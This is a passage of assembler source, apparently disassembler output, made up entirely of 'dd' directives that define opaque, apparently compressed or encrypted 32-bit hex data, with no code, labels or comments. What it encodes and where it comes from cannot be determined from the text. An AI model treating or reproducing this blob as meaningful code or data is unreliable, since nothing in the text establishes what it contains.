		dd 57102214h, 0D264E685h, 27E84D4Ch, 42FC6761h,	0E8C178F6h
		dd 4E512331h, 110D97DBh, 0E1464230h, 86440848h,	0A0315368h
		dd 793C3C2h, 0A8304BC7h, 36819432h, 0A9BC0988h,	1197C208h
		dd 99D610B5h, 14AA0810h, 8510982Ch, 0E8999A12h,	4B76DC96h
		dd 12246402h, 0E7659972h, 6DD89ECh, 3B2359A8h, 11F41A99h
		dd 0AF43201Ah, 127F968Ch, 41CC98E0h, 0C4C889ECh, 0C9B0811h
		dd 935509C1h, 48DB2832h, 702AD378h, 0FC018446h,	0E06D1C73h
		dd 3C62101h, 5200A09h, 0C1101993h, 76424E54h, 8C0CD174h
		dd 8501316Ch, 0D84D88E5h, 69760870h, 0A009028Ch, 40A014ADh
		dd 8C29AC66h, 48025211h, 4C28D0B2h, 0E803445Ch,	6544A08Fh
		dd 3BAC29F8h, 0AA1C114Ch, 0AA4734B8h, 44324490h, 0F89FD029h
		dd 0B5306895h, 0B6800422h, 883C8014h, 4870A5AAh, 7CACC430h
		dd 4DB88954h, 0C7C4914h, 415AABC4h, 8C42283Ah, 1C9C1014h
		dd 1C10088Dh, 0E48D3030h, 1E3C7234h, 89016044h,	2BC4E370h
		dd 29A4F442h, 880402B8h, 0F1846895h, 5A324026h,	2805609Ah
		dd 45903F98h, 32680FECh, 6261090Ch, 0A11445A0h,	441CC41Ch
		dd 8C6298F8h, 99628817h, 0F4330311h, 929D8D9h, 489474BCh
		dd 0AC10C534h, 0A76C7498h, 0AC308898h, 7E24815Ch, 0F954210Fh
		dd 78210F90h, 2140457Ah, 1CBE51A8h, 84AC479Ch, 0B8629957h
		dd 210FA239h, 0B8A87AD8h, 979A7840h, 0F0FC448Ch, 0E1C6AE58h
		dd 188CAF4Eh, 0E008A188h, 9C9114A5h, 68217822h,	0B648C3ADh
		dd 8A01934h, 0B9BB013Bh, 80h, 0C3000000h, 40279F03h, 61422884h
		dd 606418F8h, 69F6C041h, 724C08C4h, 9B850111h, 5D0C286Ah
		dd 469C18A5h, 4E1A581Ch, 0C08286Ch, 0FF0431F2h,	0E0CC0382h
		dd 4887FFDh, 1901434h, 507A7EBh, 10030B01h, 94806C2h, 68D07F44h
		dd 45C00416h, 4045901h,	44CE6A0h, 0A60BC048h, 5D040003h
		dd 1CEB8A88h, 9F1C11C9h, 2B0108E8h, 2604810h, 0F30131C2h
		dd 3CC2033h, 30193820h,	1C142D2Ah, 140C2A88h, 28C75002h
		dd 9C08CA8Ch, 47012907h, 643075Ch, 31700D24h, 33703270h
		dd 35703470h, 2183668h,	0BC2E48DEh, 536F7070h, 20294063h
		dd 0CA8C6D08h, 10050CA4h, 0D0E8CED4h, 1136E521h, 310467F0h
		dd 0ECCF0A06h, 580024DCh, 6445CCFDh, 70B049h, 2C74AEDDh
		dd 5E60D296h, 341C0D57h, 0B4331870h, 1010457Ch,	96804C00h
		dd 62AE2F1h, 0A611CE4Dh, 0AF06D66Ah, 0CF4726Eh,	2B41FE29h
		dd 2344252h, 0BAADF00Dh, 0F4A80881h, 360C00Bh, 4D040082h
		dd 64574F45h, 9FA22904h, 3381244h, 3033542Eh, 9EA42829h
		dd 82C82248h, 0D8180544h, 4F026832h, 401A340h, 83CD28C4h
		dd 8702918h, 0B95620A6h, 10ABCA74h, 231FA5D9h, 7CA4E4A6h
		dd 0AA918FADh, 60740CF4h, 90895809h, 944E4012h,	0D10C784Ch
		dd 0C8D843D4h, 0B64F8250h, 34C42088h, 0AD014BE1h, 91486018h
		dd 5669204h, 6C0209EEh,	2CA710A4h, 78850821h, 0B4340C19h
		dd 70071C8Ah, 209398D8h, 0A911D24Fh, 57BE3D0Ch,	0E03221B2h
		dd 4858AE31h, 38F4E880h, 43381801h, 60294214h, 44F8A904h
		dd 873B7CC0h, 8168B849h, 31701C5h, 4AE90E80h, 8AF1C499h
		dd 7A6F5005h, 0E46A0285h, 30C9E843h, 506E6019h,	0DDAD818h
		dd 201524AEh, 0CA0C0C2Fh, 0CA5A0803h, 0EF28B6A8h, 932E804Ch
		dd 12685948h, 0C1DAEB0Eh, 95C20B8Bh, 10EB0090h,	0C9334A5Ah
		dd 7DB96600h, 0A348001h, 0FAE20799h, 39E805EBh,	9570CF21h
		dd 0C3C24098h, 0A96F38FDh, 0D912070Ch, 85E963DEh, 910E3D34h
		dd 0EA1F413Eh, 87EDC1A5h, 0F86A9AE1h, 62EAB9E7h, 8D03D7FCh
		dd 0CECF74AAh, 0A6EBC8h, 97F36B19h, 0ED3F6AC0h,	0C6019175h
		dd 0DC9D5E1Ah, 1087707Bh, 205412C7h, 5A9ABDDFh,	778483Ah
		dd 0FF50AA58h, 85F980EDh, 6FFE1CBDh, 998D1E9Bh,	0D863F912h
		dd 5F3D1A6Eh, 0F3499F97h, 1E71C006h, 941AC0D3h,	0CE66CFCBh
		dd 0D0C36531h, 26919CF3h, 3C937EDh, 9BE698C7h, 2A75632Ch
		dd 99C09E5Eh, 0AA0E4B9Dh, 0C1DE1059h, 0CACE89F3h, 3669289Bh
		dd 466D0D36h, 9061610Dh, 0D7DD751Ah, 38C03EEEh,	179D10C0h
		dd 3262757Bh, 0A506A1CFh, 5EFFD900h, 98B538DFh,	89DE1487h
		dd 1B87FAC9h, 6C6702C8h, 0A5E05E08h, 6EFDF4FAh,	0C9EF2A99h
		dd 0CB797AB8h, 0A78BEFDBh, 0C77D08DCh, 311C3584h, 46C860ECh
		dd 4B02248Ch, 7B32C0C3h, 715A0077h, 0F8FB6776h,	0ED01FCDEh
		dd 0FAF6EBC9h, 0B7C7FDD8h, 9913EAA7h, 0F80C1EDAh, 0CF1268EDh
		dd 0DCE3D81Dh, 0CDF1F0E1h, 0AE29B1F1h, 0ABAF6D5h, 0F7FB7C7Eh
		dd 3081E0F9h, 0C6ABEAEEh, 1EBDCFAAh, 5466F9B1h,	24C386F2h
		dd 3AF7F0FBh, 0EAB7F548h, 0F8868F7Ah, 0E9517CFAh, 0F6FBDBEBh
		dd 208B8CFEh, 959888E4h, 0C638219Ah, 9D347616h,	0C020813h
		dd 61646D63h, 65CD6B0Fh, 0F16F68E0h, 6EDD70C9h,	0D97325F4h
		dd 953E2606h, 3F14261Ah, 727EF775h, 3E053166h, 1448FD27h
		dd 0D074EC67h, 71E0124Fh, 74536975h, 0BF663C10h, 8E2DB770h
		dd 0C3A7333h, 6C65641Bh, 6CA46BCh, 66311A51h, 84280A0Dh
		dd 49700CA6h, 0DC24504Ah, 396954D3h, 3C765CF2h,	10E5616Dh
		dd 741C1F72h, 90260556h, 5022442h, 110FF830h, 208408ADh
		dd 244E3F0h, 424D53FFh,	0F261C672h, 0C27E9BC8h,	7A41337h
		dd 5097C062h, 4E012043h, 4F575445h, 0DFE34B52h,	0E547CE4Eh
		dd 0CC064D41h, 7930302Eh, 0D14E7A4Ch, 57010B06h, 6F646E69h
		dd 66D04377h, 31EA1FADh, 0DF676B08h, 837075F1h,	312E331Eh
		dd 4D513061h, 30583248h, 33B3D2E3h, 16DE2EEEh, 3220544Dh
		dd 16BF30CDh, 73888852h, 2E3B0764h, 441C60Ch, 201A0A11h
		dd 208042D4h, 20440781h, 55464B43h, 0F7A71D45h,	21509F0Dh
		dd 41A93E47h, 34F24802h, 7F026E1Ch, 0CF6F8C9Eh,	4783F842h
		dd 4A491448h, 4E009E4Bh, 5251504Fh, 55095453h, 81585756h
		dd 63626166h, 668B20h, 6A696867h, 6E6D6C6Bh, 7100E890h
		dd 75747372h, 14787776h, 0C3307A79h, 35343300h,	39383736h
		dd 182F2B21h, 81666053h, 899BEC50h, 0EDE8E614h,	683680DBh
		dd 7CD61209h, 19F76163h, 0E1084689h, 761440A2h,	6B0F6804h
		dd 0AACA2BD0h, 0C9E15E2h, 0FAC43F11h, 0D9248797h, 0DB316368h
		dd 80FF10F8h, 89D0FF99h, 7C8B56C3h, 50C7EC76h, 6F310B9h
		dd 0C0315EA4h, 53600250h, 0C56FF06h, 0D49ED98Bh, 5E5F00C4h
		dd 18E0FC5Bh, 7123E860h, 2400448Bh, 7C588D0Ch, 3A3C4383h
		dd 28278105h, 63EC582Eh, 37B8F00Eh, 24048B01h, 5014C483h
		dd 0CFC37C9Ch, 32EE64D2h, 0C6228966h, 9F1BB84Ch, 2B1C9C7h
		dd 0AFF3DFD0h, 43031D74h, 7E87BCEBh, 0F08F6410h, 60C36158h
		dd 8623BF4Ch, 3BC71F8Bh, 9F90789h, 78C781F8h, 0F9603EAFh
		dd 4741939h, 3EB009FEh,	5AF4FAF4h, 0ED05EDF3h, 64C3FA52h
		dd 4AF311E3h, 0FD43C6E0h, 0A16E0162h, 4036830Ch, 3C589B1Ch
		dd 8E511E6Eh, 460E1BEBh, 6CF89A04h, 45FC2824h, 54333C7Fh
		dd 0E9EA8C05h, 5AF0184Ah, 1EEBF020h, 0DF4938E3h, 0EE0A7C34h
		dd 0F95FF31h, 0E0A0ACFCh, 0CFC10774h, 0C7030D7Fh, 7C3BF4EBh
		dd 0E1758924h, 664048BBh, 4B640CECh, 0BF101C12h, 89E85462h
		dd 6163DD8Fh, 0E48708C2h, 0C4F88CFEh, 0D8F25428h, 28E8FC25h
		dd 7C115DE5h, 4FA0EF3Ch, 2E235F42h, 0AC99C083h,	40B7A684h
		dd 5488C2CAh, 75041A24h, 5B3344E3h, 3F4827CCh, 325C8919h
		dd 645A94C3h, 85301DB2h, 0E0F788Dh, 1C705D40h, 1468FCADh
		dd 5F0BE908h, 534147Fh,	6800087Ch, 0F6315F3Ch, 0EB3C5660h
		dd 0CEEF920Dh, 9880721Fh, 570E8AFEh, 0E8E713FFh, 236792EEh
		dd 61C9C5Bh, 1CE2B5Ch, 0A0022405h, 0A1257CB6h, 0B8431CB1h
		dd 21EB4403h, 45B89006h, 1FA73C66h, 2E3F69CEh, 2AD65C3Fh
		dd 1347402Bh, 0EB79621Dh, 51412C10h, 6B447276h,	59453322h
		dd 1C34010h, 68EF0F10h,	0CC180289h, 41B0A3h, 0D2C9B714h
		dd 0EF333ED9h, 1F253414h, 8A0238A3h, 1612F5Ch, 0A62D1FFh
		dd 28018EAAh, 0A1545522h, 15F6403h, 650350FEh, 28FF01AFh
		dd 1665703h, 2B0394FFh,	0CAFF0167h, 1681503h, 30AE5FFh
		dd 0F2FF0169h, 7F6A0385h, 342F901h, 0FC01BF6Bh,	4A6C03A1h
		dd 8841E301h, 0E0D06EBh, 6D501E10h, 83C93320h, 0D939B0E9h
		dd 247400EEh, 73815BF4h, 3C87B13h, 0EB83877Fh, 34E8E2FCh
		dd 0CA3894B3h, 78808720h, 0E7BFB937h, 0C2F7FDECh, 82035260h
		dd 90D807B0h, 0CEC1870Ch, 9401E8CFh, 0E0ED43CEh, 0BFF22686h
		dd 5D641E1Dh, 18CFF300h, 1EC98AB5h, 4173941Bh, 0BDAF5B8Dh
		dd 0EC40903Ch, 0D543E100h, 0C5970C34h, 0CB6C7E00h, 0A40EF4F5h
		dd 0E6630EFDh, 0E3C0E80Bh, 0C4F9A43h, 0F4D58803h, 0A074D4F7h
		dd 787C0C7h, 0D7860917h, 0F372193h, 0B1AEFC19h,	0A0B54C1Dh
		dd 97030C5Dh, 0C057808Dh, 3C7B9212h, 513E89F3h,	0E19A5000h
		dd 85773449h, 7DB39D00h, 0A6B11878h, 743D1E8Eh,	8A1E0128h
		dd 0D19BD42Ch, 0E38BD13Ch, 5E685063h, 0F6C1A7ECh, 0DBE05D66h
		dd 1EB8309Dh, 0D66FB339h, 0AF0126F2h, 51746CEFh, 0A9E09F6Eh
		dd 2D0CA0D4h, 0CEF92290h, 8D9CD70Ch, 34A882Ah, 1FB16017h
		dd 0E061D006h, 0E315BF19h, 0EA1C8083h, 0D7C03C41h, 0B31CF091h
		dd 3BDD2F0Eh, 0CC2A14h,	3D276274h, 9B36AAh, 0A3451453h
		dd 72632C47h, 2F5173Eh,	0BD78696Ah, 938C809Dh, 0CD62D8Eh
		dd 86158899h, 37F02A08h, 8617093Ah, 0D4B1DC11h,	1C154890h
		dd 388EE28h, 4838E43h, 4830BD0Ch, 5338E19Ah, 9BD8207Bh
		dd 2945C0D5h, 5FDD016Dh, 0EB884CA7h, 3356F81Bh,	2EC9434Eh
		dd 3A1ECF65h, 0E02D460Fh, 4C75565Bh, 72450E6Eh,	65C76241h
		dd 4652015Dh, 302C8D42h, 5024433h, 6798F40Ah, 0E801A32h
		dd 0E83F6F47h, 0C7685A65h, 72C77FEDh, 69741030h, 2E60676Eh
		dd 49555142h, 47DC54h, 20353234h, 6E156143h, 8FCA7427h
		dd 0FA7E7E64h, 0EAF3637Bh, 0B4529E8Dh, 2400520Eh, 32310302h
		dd 3508C55Bh, 15A21846h, 206E0F5Dh, 774F8019h, 0CA44654Eh
		dd 388C3215h, 0FA366C54h, 92726F54h, 0B0F966AAh, 6C706D82h
		dd 7FD6EDA3h, 563054CDh, 80EDB5B7h, 414E4942h, 0A859523Fh
		dd 6557926Dh, 0E689169h, 75544552h, 20A6404Ch, 7D4F503Fh
		dd 0A68E48A3h, 7573F380h, 0D765EDF5h, 6C53B677h, 0F5E46E91h
		dd 78189903h, 491404A2h, 5B07842Ah, 2A5D2C5Eh, 0A7CD606h
		dd 6B5844E1h, 4C9361B0h, 18225349h, 0E86150C6h,	0AC766928h
		dd 746F6E15h, 0DD405183h, 8D46A072h, 0F3EFAD83h, 0DC556968h
		dd 0D038B9E2h, 4114507Ch, 0A1B85653h, 0ED467954h, 0A462DC37h
		dd 0AE4915DDh, 6418A574h, 0A225D41h, 45505954h,	37358138h
		dd 0CB2F2220h, 631CABA6h, 2D647275h, 0E6644C33h, 56BEF90Eh
		dd 0C0C779A2h, 33044457h, 42524892h, 72358404h,	304CC19Dh
		dd 0ABCCAC53h, 6E74D08Fh, 51A09279h, 59F11964h,	0C933184Ch
		dd 89905568h, 67716F6Ch, 0BA8264EEh, 30B02ED0h,	312A338Eh
		dd 0D07766E4h, 71E03AD8h, 41EBD075h, 45535509h,	0D74A881Ah
		dd 2C85DD9Ah, 9F607730h, 2E39776Fh, 4983DA6Ah, 49856272h
		dd 40256401h, 15A11931h, 1420B44h, 90B87E3h, 0F94014EFh
		dd 6EF64C38h, 5AD03471h
		dd 0A5318F0Ah, 383B626Dh, 25BBD31h, 65384F22h, 382D39CAh
		dd 382F3144h, 84478B38h, 74AE6E76h, 10A11A6h, 17610CA8h
		dd 4029E508h, 906E105Ch, 159B8EC0h, 386D7973h, 0B4097ACh
		dd 402825AFh, 148D053h,	445626D7h, 6174C054h, 15CB3A6Ch
		dd 14F30835h, 11734ACFh, 948E2C65h, 13635313h, 199536C4h
		dd 78452013h, 0F06FC70Bh, 78536E1Ah, 673D9BDh, 3787D263h
		dd 30144E2Dh, 41C533ADh, 344EE50Eh, 86B241DFh, 2E53CE90h
		dd 6E43E228h, 50491597h, 2E8B893Ah, 96BE18B5h, 4B096961h
		dd 46E79264h, 9F279BADh, 0D908B72Ch, 4B3E6788h,	763CA508h
		dd 92C5355h, 2C6A3639h,	35A17450h, 34232C94h, 8374BB46h
		dd 0A9521049h, 9616A8B6h, 3BB4673h, 10F4CC43h, 10E441C4h
		dd 0E906061h, 75C824Ch,	1DA90895h, 8FBADE3Bh, 0EC2409Ah
		dd 64EA1C8Eh, 7553D0A6h, 162D6229h, 503A2EE5h, 2AF3CE41h
		dd 0A2EA68E4h, 0F583AAFh, 0FF66EA18h, 0E3967214h, 754E306Dh
		dd 29732822h, 0CF669DA1h, 4EBA83B6h, 804AA48Dh,	68DD9A54h
		dd 0EAA59A6Bh, 44875687h, 3259E148h, 17352B1Fh,	2D6DE123h
		dd 0F19097A3h, 89490254h, 0DF650FB7h, 0CC7ABF7Fh, 17723650h
		dd 53E5F94Ch, 319C682Dh, 0F347701Ah, 304944DBh,	0D2907601h
		dd 701294FFh, 69895F19h, 0D943399Ah, 12DB038Eh,	145F75ABh
		dd 36BF41CDh, 33C4763Ch, 382E323Fh, 5328D06Ch, 444C5112h
		dd 55995012h, 0DF461008h, 0C448125Ch, 10831043h, 6F54418Ch
		dd 69116356h, 56328D21h, 30726895h, 0F7990D0h, 41766E45h
		dd 5072D4DFh, 43CA91D0h, 8713EE53h, 0C0729A4Eh,	68434853h
		dd 656796C5h, 66694190h, 0BD21DF79h, 2A522EE8h,	51B984AEh
		dd 2D0C1073h, 0B44E6957h, 0BB636861h, 0F5284B24h, 0B574132h
		dd 0CE41C818h, 2D3464EEh, 61142AF4h, 72706D52h,	34126055h
		dd 0F649C193h, 5C18247h, 0AC2579BEh, 9115151h, 1A626154h
		dd 68538700h, 0F73A7F8Eh, 44403091h, 0F446736Eh, 50A6A275h
		dd 0A46F7858h, 636128E7h, 5F3E88B2h, 0EC20A741h, 3B826431h
		dd 4DBF3646h, 6A0203Eh,	664E7542h, 51414C14h, 1878A25Ch
		dd 83A17B94h, 6F666E05h, 2BBC1076h, 220C6D75h, 8A188EB3h
		dd 0D60C2CD7h, 0FE4D906Dh, 444F2954h, 0D0419A44h, 0C9925812h
		dd 51531419h, 40756486h, 626F4AD2h, 0D4146FD0h,	5D426889h
		dd 0C36D10A1h, 2A030C1Dh, 0B818456Eh, 49843023h, 233E8463h
		dd 0A22B45B0h, 4313106Fh, 94732009h, 7521D232h,	56778979h
		dd 3C8C2140h, 7A6F4D1Bh, 2F61D828h, 302E0934h, 40EB2820h
		dd 66694C24h, 2C482995h, 0DBB4BF6Eh, 140C4C3Dh,	8434B252h
		dd 0BA28854Eh, 6B1E59C8h, 416C8A55h, 347A5A14h,	14871386h
		dd 3AC924A1h, 48242709h, 0D7CCF4EFh, 14741164h,	0E4143410h
		dd 0BA473C62h, 4A4C893Fh, 783D852Fh, 71651C6Ah,	37ABD677h
		dd 6352FF86h, 46E972D8h, 6CE120B4h, 6DC46CD4h, 0A16D7D61h
		dd 34BA680Ch, 0E3796214h, 8540B271h, 8E1E2210h,	822C8C10h
		dd 310C2F42h, 4B70D69Fh, 0EA426162h, 0B16C0804h, 0DBA07C0h
		dd 7AC6EA39h, 58696226h, 76ABA2C9h, 6DC3E166h, 962C0C59h
		dd 0F058F891h, 7C3A1169h, 10B3C70Fh, 73C808E9h,	6CEDC1BEh
		dd 2210041Dh, 0A4BA5FC9h, 0FF530C2Dh, 0A43A1958h, 570A5AC6h
		dd 743E06Ch, 53127C4Ch,	0BCCF1441h, 702A6248h, 4C23A90Ch
		dd 45A284F6h, 10024EA5h, 7C338849h, 1D705F1Ch, 5D494446h
		dd 20684A73h, 90FCBF2Ch, 0AE637F01h, 0EA21DEC8h, 0C49EF53h
		dd 5400A475h, 4C327377h, 0D8A49A5Fh, 622E4FCCh,	10E8746Ah
		dd 0C43CA4Eh, 5C69420Fh, 502D68FFh, 0E8522448h,	9042493Dh
		dd 729BA1B7h, 1491EF62h, 2E249479h, 2EF8A138h, 0AD16C945h
		dd 9A14A4D1h, 0E18AEC77h, 3CA4285Dh, 64674231h,	471631C7h
		dd 4A4EAC62h, 0FA4C4CB4h, 19CF9456h, 28757564h,	397925D0h
		dd 58226FB7h, 0D6928C4Ch, 734CFDCFh, 69BB9F44h,	1A109A66h
		dd 8C84EE15h, 811586DCh, 80756F7Ch, 1175C604h, 0E342134h
		dd 0D0247512h, 10080F2Dh, 9C4D6B43h, 25728226h,	6A6BE898h
		dd 6FF203D6h, 502E256Bh, 6AADBC09h, 4CFC0830h, 68266F6Ah
		dd 0B9A21323h, 97505DFDh, 5FD46F2Ch, 58C93556h,	9FAB42A1h
		dd 0C79D44Bh, 3243A346h, 10512166h, 0F79722Ah, 41533498h
		dd 0AEE5530h, 43816A12h, 22A283CDh, 1A678234h, 64E4480Eh
		dd 6A88BB76h, 6F468D58h, 8952F62h, 0DD8D1512h, 0A231404h
		dd 0D278CB54h, 8124AD41h, 19698E36h, 113B541Ah,	69B40365h
		dd 0CB733132h, 6C9984CAh, 4C8F0AA8h, 7215DB62h,	0E474064h
		dd 69684437h, 23853C14h, 73498CAAh, 82792B7Ch, 0B23E0A9h
		dd 52463DB8h, 588D909Bh, 0F5659768h, 0EDA90034h, 0EC91CE42h
		dd 7289BA4Ch, 5BBBA43Ah, 7E353053h, 0F5F808D2h,	0EFA56D25h
		dd 0BC70F546h, 5279B890h, 0C243A31Ch, 0D08AE475h, 287E98D1h
		dd 0E9AE5068h, 1D3ACEA7h, 758B48F8h, 67D32150h,	17A2449Eh
		dd 0C3F08A3h, 2873A96Eh, 6B6D8120h, 0E72028BFh,	89919163h
		dd 2F6A6F4Dh, 0BC4A208h, 2D127372h, 223B953Bh, 1078294Eh
		dd 0BD6A21E8h, 90F09C9h, 70C16187h, 656E5301h, 8DFDEF40h
		dd 9B09F268h, 78A953F5h, 32246B25h, 5FCC8E6Ch, 4A203411h
		dd 0FC3CA4C8h, 23E5A64h, 52496D1Ah, 655EBCC6h, 93B89F5Bh
		dd 0A4127B2Eh, 2468E44Ch, 0A4537475h, 807173ABh, 73144D96h
		dd 12D276E4h, 837D64E5h, 0F34012DCh, 8C66386Eh,	863A0A0Dh
		dd 4BA1AB70h, 22219312h, 6331503Ah, 0D6666916h,	1379AAAAh
		dd 6F67E110h, 2746006Ch, 9C75738Eh, 622E1761h, 3DC94961h
		dd 93230B1h, 4C636673h,	0BE462A5Fh, 5ABF654Fh, 0A609D871h
		dd 541FC2E5h, 5E49708Eh, 58021C64h, 9F216465h, 17622C24h
		dd 5448C24Eh, 30F5268Fh, 2B87A05Ch, 4C050462h, 894309FCh
		dd 24161206h, 0E463BE4Ch, 220951E8h, 19D21D2Eh,	6C6D0968h
		dd 7379B140h, 5D46353Dh, 28431444h, 0B4107570h,	3649416Eh
		dd 484DF434h, 1C2E7A2Bh, 1B734F0Ah, 0EA5BD6C9h,	0C8289737h
		dd 42F62C04h, 40597548h, 5ED02963h, 0F3F1A45Fh,	0B9F64E1Dh
		dd 9D2C4819h, 1B854E22h, 394A8D37h, 0AE06FB52h,	723F2105h
		dd 4A655769h, 6954C217h, 55051D6Dh, 19697470h, 3871B02Ch
		dd 0F5F36D3Ah, 1751F023h, 2BE4DF1h, 989479A2h, 0CE3FBF24h
		dd 0D172A392h, 683BBC89h, 0ADD3C84Ch, 6DA44708h, 4A2E0218h
		dd 93C3368h, 0DC245058h, 784D094Bh, 3839315Eh, 97544E08h
		dd 0A08C3511h, 787CA22Eh, 2061A515h, 98A48690h,	6AF68D56h
		dd 3D8DA7FCh, 3345C6F7h, 4EC822DAh, 0C88ED72Fh,	2D50AE7Dh
		dd 0B12DEE84h, 61492ADDh, 9D51EE63h, 2CBC8CE4h,	95647A5Ah
		dd 6468C014h, 7717DD4Ah, 5168C909h, 5851A00Eh, 0BE713266h
		dd 8254DCEh, 0E79C3578h, 98B39C2Fh, 0B24E96E5h,	13904058h
		dd 2F65424Bh, 19126340h, 0B44D014Fh, 0E56C43C7h, 0C97609F2h
		dd 9BDA6499h, 6987468Ch, 0AFB61A2h, 922C7740h, 3C82BC83h
		dd 215299FBh, 9C27D358h, 94152D76h, 5F3BBC61h, 8070D4F0h
		dd 0B1F538FDh, 66F52928h, 6925242Ah, 93380F5Eh,	341F3E89h
		dd 0A3D650CAh, 0B7669234h, 0DAEF4268h, 0E1ED1C0Bh, 2495384Fh
		dd 183579F4h, 642B5534h, 0BE5A6B70h, 6A38875Ah,	1C95FC8Fh
		dd 796B395Ch, 0F29697F2h, 0B432444Ch, 33A82999h, 536FFF8h
		dd 946D2925h, 537C3521h
		dd 0A5A4342Eh, 0C43F2EF4h, 0B9EB5424h, 0F15F33A9h, 0A284A2Eh
		dd 12467063h, 8C5EF024h, 7329789h, 38358B3Ah, 0A98D7314h
		dd 27748C03h, 0CFE22E48h, 0A23D082Ah, 21249C08h, 75AB4F44h
		dd 5A696CC1h, 172C8BA5h, 6ACB3751h, 215771BCh, 6DAE02D6h
		dd 5313B24Dh, 0A4798CF6h, 7060CC1Bh, 0F9926690h, 50445515h
		dd 22E3D2CFh, 45E24446h, 456DF64Fh, 84808831h, 4F533D78h
		dd 451C4B43h, 52DC5F54h, 0AAA2F37Ch, 85C97FDBh,	0BC343D0Bh
		dd 78732E49h, 2886805Eh, 34929562h, 0CA3D2461h,	50531B94h
		dd 52A1D6D8h, 1651676Ah, 0BE974A79h, 0C4A885A4h, 0A4D6CA46h
		dd 9753624Bh, 98289299h, 8EB97E4Ah, 9E821720h, 146BFCD4h
		dd 352863C6h, 0D5F42F4Bh, 466C7A78h, 0D102B677h, 49B83C74h
		dd 0E4CF91BBh, 428B2E50h, 73457296h, 0AD561876h, 79E349B4h
		dd 6692AA41h, 0AE59D0C7h, 67FD5842h, 0D28C46E7h, 0B76BB409h
		dd 9F6B2DC1h, 24CBD07Fh, 0D534943Ah, 0B65B8A08h, 7E8046F8h
		dd 3D5226DFh, 71C2A8CDh, 0E641C610h, 4C20B380h,	932540B4h
		dd 3B377013h, 29FA255Bh, 1A052D64h, 9058C34h, 5D05713Ah
		dd 0D6C87620h, 45FB8987h, 2642A50Ah, 2E1447D6h,	6717F920h
		dd 22E94395h, 0F12829DCh, 2F497842h, 4064516Eh,	41FCE880h
		dd 0FD1808A8h, 50120181h, 44C53828h, 44442B1h, 3C296AC4h
		dd 98718A6h, 140A4C52h,	4E448751h, 0CE45C553h, 0DA33482Bh
		dd 93C35E8h, 9FA47055h,	245EB665h, 53EF963Ah, 9852D5B2h
		dd 392F6634h, 0D1480F4Ah, 278A9A11h, 66452E2Eh,	932FD6C6h
		dd 0B46249BBh, 0EEC41812h, 0D52DBFF3h, 58CFA37Dh, 0D0B5F25Ah
		dd 0A0F583A8h, 679A7778h, 76526D76h, 0DC623EA0h, 42124DB5h
		dd 52A7ED40h, 84A8EFEAh, 563C7DC8h, 0CA7AA7C9h,	97DE50E8h
		dd 0A612FDABh, 0B1A0EEDEh, 715D6348h, 0B36464D2h, 21DCB1E1h
		dd 0AB6DF53Dh, 3AACA052h, 685B22B4h, 2F8EF06Fh,	7B92CC4Ch
		dd 0AA807ED0h, 164DFF78h, 48D1471Fh, 95B643A8h,	2438F1EBh
		dd 7E2E7917h, 123C49Ah,	800006E8h, 8AAFA8BDh, 11C90B7Dh
		dd 0B0F4F4BEh, 1892985h, 5EC46EFAh, 182F3CF7h, 0B0C05445h
		dd 3975201h, 11D059CAh,	0A080D5A8h, 80210DC9h, 0B5260051h
		dd 0C1371D55h, 0AB46C500h, 2A8F6379h, 69E82F68h, 0A539C865h
		dd 2648513Ah, 525040B9h, 4D1C5649h, 4E074753h, 4395544Fh
		dd 0E18024E0h, 90A5015Fh, 58323068h, 31B9A83h, 82F0C8Bh
		dd 48B0D945h, 7C74104h,	0FCFAC22Eh, 0D7140252h,	1CB38B6h
		dd 776F0BF1h, 0F0D16EB2h, 0DEE468A2h, 0C218895h, 42148FA6h
		dd 39203ABBh, 6E2CD279h, 7CB2328Eh, 6461731Fh, 2E3407BAh
		dd 71634369h, 6D75551Eh, 288C4FBCh, 41463823h, 61C44BBAh
		dd 28208E9Ch, 699B6363h, 0C8A8DD31h, 0E967321Eh, 0CB242326h
		dd 0D85E4AE2h, 73126D24h, 9D4FADB6h, 10727B1Ch,	788F2E2Dh
		dd 42692BE3h, 466792Bh,	9CD3B045h, 53091F94h, 7774496Fh
		dd 4D5C0D40h, 7C63693Bh, 521D736Fh, 9578A1A6h, 0BE564B31h
		dd 75C74EA8h, 28FB52F7h, 277D3085h, 38875D4Eh, 454C4F41h
		dd 0DD088D2Ah, 3A3C594Dh, 3CA15A29h, 4C28BC0Bh,	506EBFEEh
		dd 482F54AFh, 5741447Bh, 2A12F04Ch, 0F1141640h,	0A8295484h
		dd 2617B4A4h, 7561702Dh, 2EB5737Ah, 42786B85h, 646D9EB4h
		dd 41643D93h, 501A19ECh, 42C518D7h, 5C165F5Ah, 77A73C81h
		dd 60500206h, 4E7950CDh, 0DCFFA8A0h, 80E9FF3Ch,	415C6190h
		dd 8747526h, 76B33DACh,	4F458E70h, 6CB29661h, 88A45294h
		dd 912A3AC3h, 523E6E45h, 0D9A887FFh, 0B8CCF89Bh, 0F519DAFBh
		dd 0AC32E509h, 5969F0DBh, 1619D2EDh, 6438522Eh,	104D04F4h
		dd 6D70269Eh, 7A4055A8h, 14B508B6h, 0BF1DB836h,	4E58281Ch
		dd 0D84B3F66h, 59A9927Eh, 308D136Fh, 4A8F3704h,	0A47E8CA2h
		dd 1A4DE00Bh, 1945444Fh, 4850F33h, 844F482Fh, 2F11644Ch
		dd 61521F74h, 0B27EAEEDh, 0FC6B0E0Fh, 5F8F44EFh, 0F347D3Ah
		dd 12977430h, 92BBE5BFh, 0ADBC526Eh, 3D564A20h,	5125D31Fh
		dd 5331B131h, 4D58E250h, 782E7829h, 44C253F3h, 2C40A193h
		dd 4CA2D3B9h, 94A9A69Ah, 0B66898E5h, 0DD2B6571h, 2E67D8FCh
		dd 90EA9584h, 2D721485h, 6BF30417h, 0E8845E40h,	40084169h
		dd 412ED164h, 6C1822B4h, 72523358h, 9051D510h, 353FEDD8h
		dd 0E44416ADh, 2E7779A9h, 0C625DB99h, 6496BFABh, 4958049Bh
		dd 9525AE44h, 489CACCCh, 2F2890CDh, 43A448BDh, 58C869F3h
		dd 0D48D5FADh, 9CFE02BDh, 0E95C49CEh, 0E5CC5952h, 2F50F254h
		dd 4AEBED73h, 0E9F14B74h, 0C8F473D2h, 4A4CF148h, 0DFB14838h
		dd 0E462758Ah, 6828B47Ch, 6B2E1667h, 0A4954304h, 0BA98C950h
		dd 4CCA4843h, 9C286938h, 0BB5E7224h, 0A01C6727h, 0E2AFBF10h
		dd 51691574h, 9FA44D9h,	6D030510h, 0BC8B2774h, 43BEBDD1h
		dd 0E13A448h, 0F52C0754h, 781A6BF5h, 60415994h,	75A0822Fh
